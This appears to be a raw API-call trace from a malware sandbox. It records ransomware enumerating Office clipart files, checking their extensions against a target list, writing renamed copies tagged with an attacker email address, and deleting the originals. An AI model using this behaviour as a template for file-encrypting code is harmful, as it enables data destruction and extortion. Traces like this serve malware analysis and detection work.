(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString=".zip") returned 4 [0199.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.879] lstrlenW (lpString=".rar") returned 4 [0199.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString=".bz2") returned 4 [0199.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString=".7z") returned 3 [0199.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString=".dbf") returned 4 [0199.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString=".1cd") returned 4 [0199.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString=".jpg") returned 4 [0199.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.879] lstrlenW (lpString=".doc") returned 4 [0199.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString=".docx") returned 5 [0199.880] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.880] lstrlenW (lpString=".pdf") returned 4 [0199.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString=".xls") returned 4 [0199.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.880] lstrlenW (lpString=".xlsx") returned 5 [0199.880] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.880] lstrlenW (lpString=".ppt") returned 4 [0199.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.880] lstrlenW (lpString=".zip") returned 4 [0199.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.880] lstrlenW (lpString=".rar") returned 4 [0199.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString=".bz2") returned 4 [0199.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString=".7z") returned 3 [0199.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.880] lstrlenW (lpString=".dbf") returned 4 [0199.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.880] lstrlenW (lpString=".1cd") returned 4 [0199.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0199.880] lstrlenW (lpString=".jpg") returned 4 [0199.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.881] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.881] lstrlenW (lpString="J0188511.WMF") returned 12 [0199.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.881] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10716) returned 1 [0199.881] CloseHandle (hObject=0x220) returned 1 [0199.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 0x20 [0199.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0199.882] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.882] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0199.882] GetLastError () returned 0x0 [0199.882] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x29dc, lpOverlapped=0x0) returned 1 [0199.884] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x29e0, lpOverlapped=0x0) returned 1 [0199.885] ReadFile (in: hFile=0x220, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.885] WriteFile (in: hFile=0x20c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.885] SetEndOfFile (hFile=0x20c) returned 1 [0199.885] CloseHandle (hObject=0x20c) returned 1 [0199.885] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.885] SetEndOfFile (hFile=0x220) returned 1 [0199.886] CloseHandle (hObject=0x220) returned 1 [0199.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0199.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0199.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0199.887] lstrlenW (lpString=".doc") returned 4 [0199.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.887] lstrlenW (lpString=".docx") returned 5 [0199.887] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0199.887] lstrlenW (lpString=".pdf") returned 4 [0199.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.887] lstrlenW (lpString=".xls") returned 4 [0199.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.887] lstrlenW (lpString=".xlsx") returned 5 [0199.887] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0199.887] lstrlenW (lpString=".ppt") returned 4 [0199.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0199.887] lstrlenW (lpString=".zip") returned 4 [0199.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.887] lstrlenW (lpString=".rar") returned 4 [0199.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.887] lstrlenW (lpString=".bz2") returned 4 [0199.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.887] lstrlenW (lpString=".7z") returned 3 [0199.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0199.887] lstrlenW (lpString=".dbf") returned 4 [0200.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.020] lstrlenW (lpString=".1cd") returned 4 [0200.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.027] lstrlenW (lpString=".jpg") returned 4 [0200.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.036] lstrlenW (lpString=".doc") returned 4 [0200.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.036] lstrlenW (lpString=".docx") returned 5 [0200.036] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0200.036] lstrlenW (lpString=".pdf") returned 4 [0200.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.036] lstrlenW (lpString=".xls") returned 4 [0200.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.036] lstrlenW (lpString=".xlsx") returned 5 [0200.036] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0200.045] lstrlenW (lpString=".ppt") returned 4 [0200.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.045] lstrlenW (lpString=".zip") returned 4 [0200.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.045] lstrlenW (lpString=".rar") returned 4 [0200.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.054] lstrlenW (lpString=".bz2") returned 4 [0200.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.054] lstrlenW (lpString=".7z") returned 3 [0200.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.054] lstrlenW (lpString=".dbf") returned 4 [0200.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.054] lstrlenW (lpString=".1cd") returned 4 [0200.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0200.054] lstrlenW (lpString=".jpg") returned 4 [0200.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.054] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.054] lstrlenW (lpString="J0195788.WMF") returned 12 [0200.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.055] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3004) returned 1 [0200.055] CloseHandle (hObject=0x1e4) returned 1 [0200.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 0x20 [0200.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.055] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.055] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0200.056] GetLastError () returned 0x0 [0200.056] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xbbc, lpOverlapped=0x0) returned 1 [0200.057] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0200.058] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.058] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.058] SetEndOfFile (hFile=0x17c) returned 1 [0200.058] CloseHandle (hObject=0x17c) returned 1 [0200.059] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.059] SetEndOfFile (hFile=0x1e4) returned 1 [0200.059] CloseHandle (hObject=0x1e4) returned 1 [0200.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0200.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.060] lstrlenW (lpString=".doc") returned 4 [0200.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.060] lstrlenW (lpString=".docx") returned 5 [0200.060] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.060] lstrlenW (lpString=".pdf") returned 4 [0200.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.060] lstrlenW (lpString=".xls") returned 4 [0200.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.060] lstrlenW (lpString=".xlsx") returned 5 [0200.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.060] lstrlenW (lpString=".ppt") returned 4 [0200.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.060] lstrlenW (lpString=".zip") returned 4 [0200.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.060] lstrlenW (lpString=".rar") returned 4 [0200.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.060] lstrlenW (lpString=".bz2") returned 4 [0200.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.060] lstrlenW (lpString=".7z") returned 3 [0200.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString=".dbf") returned 4 [0200.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString=".1cd") returned 4 [0200.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString=".jpg") returned 4 [0200.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString=".doc") returned 4 [0200.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString=".docx") returned 5 [0200.061] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.061] lstrlenW (lpString=".pdf") returned 4 [0200.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString=".xls") returned 4 [0200.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.061] lstrlenW (lpString=".xlsx") returned 5 [0200.061] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.061] lstrlenW (lpString=".ppt") returned 4 [0200.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.061] lstrlenW (lpString=".zip") returned 4 [0200.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.061] lstrlenW (lpString=".rar") returned 4 [0200.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.062] lstrlenW (lpString=".bz2") returned 4 [0200.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.062] lstrlenW (lpString=".7z") returned 3 [0200.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.062] lstrlenW (lpString=".dbf") returned 4 [0200.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.062] lstrlenW (lpString=".1cd") returned 4 [0200.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF") returned 63 [0200.062] lstrlenW (lpString=".jpg") returned 4 [0200.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.062] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.062] lstrlenW (lpString="J0196060.WMF") returned 12 [0200.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.063] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4750) returned 1 [0200.063] CloseHandle (hObject=0x1e4) returned 1 [0200.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 0x20 [0200.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0200.063] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.063] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0200.064] GetLastError () returned 0x0 [0200.064] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x128e, lpOverlapped=0x0) returned 1 [0200.065] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1290, lpOverlapped=0x0) returned 1 [0200.066] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.066] WriteFile (in: hFile=0x17c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.066] SetEndOfFile (hFile=0x17c) returned 1 [0200.066] CloseHandle (hObject=0x17c) returned 1 [0200.066] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.066] SetEndOfFile (hFile=0x1e4) returned 1 [0200.067] CloseHandle (hObject=0x1e4) returned 1 [0200.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf")) returned 1 [0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.071] lstrlenW (lpString=".doc") returned 4 [0200.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString=".docx") returned 5 [0200.071] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0200.071] lstrlenW (lpString=".pdf") returned 4 [0200.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString=".xls") returned 4 [0200.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.071] lstrlenW (lpString=".xlsx") returned 5 [0200.071] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0200.071] lstrlenW (lpString=".ppt") returned 4 [0200.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.071] lstrlenW (lpString=".zip") returned 4 [0200.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.071] lstrlenW (lpString=".rar") returned 4 [0200.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString=".bz2") returned 4 [0200.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.071] lstrlenW (lpString=".7z") returned 3 [0200.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF") returned 63 [0200.071] lstrlenW (lpString=".dbf") returned 4 